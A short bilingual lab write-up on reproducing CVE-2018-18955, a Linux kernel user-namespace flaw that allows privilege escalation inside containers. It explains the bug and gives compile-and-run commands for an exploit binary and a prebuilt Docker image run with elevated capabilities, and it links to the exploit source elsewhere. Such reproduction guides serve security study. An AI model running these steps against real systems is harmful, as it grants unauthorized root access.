NOTE
- For all exploit source code and more detailed information, see https://github.com/iridium-soda/container-escape-exploits .
漏洞原理
在4.19.2之前的Linux内核4.15.x到4.19.x中,kernel/user_namespace.c中的map_write()允许提权,因为它错误地处理了具有超过5个UID或GID范围的嵌套用户命名空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间外资源的访问控制,如read /etc/shadow。发生这种情况是因为ID转换对命名空间到内核方向正确进行,而不是对内核到命名空间方向进行。
注意:该漏洞并未绕过namespace的限制,只能实现容器内一般用户提权
环境准备
- Ubuntu 18.04
- Docker 20.10
No further kernel modifications are needed because all Ubuntu distributions prior to 18.10 have this vulnerable kernel.
Local Escalation
Install newuidmap
1 | apt-get install uidmap |
Compile exp
1 | gcc -o subuid_shell subuid_shell.c |
Execute IN THE SAME TERMINAL:
1 | ./subuid_shell |
Container Escalation
环境搭建
拉取编译好的镜像
1 | sudo docker pull iridium191/cve-2018-18955 |
Exploit
运行容器
1 | sudo docker run -it --rm --name=18955 --security-opt seccomp=unconfined --cap-add sys_admin iridium191/cve-2018-18955:latest /bin/bash |
进入容器后
1 | ./subuid_shell |
即完成容器内提权.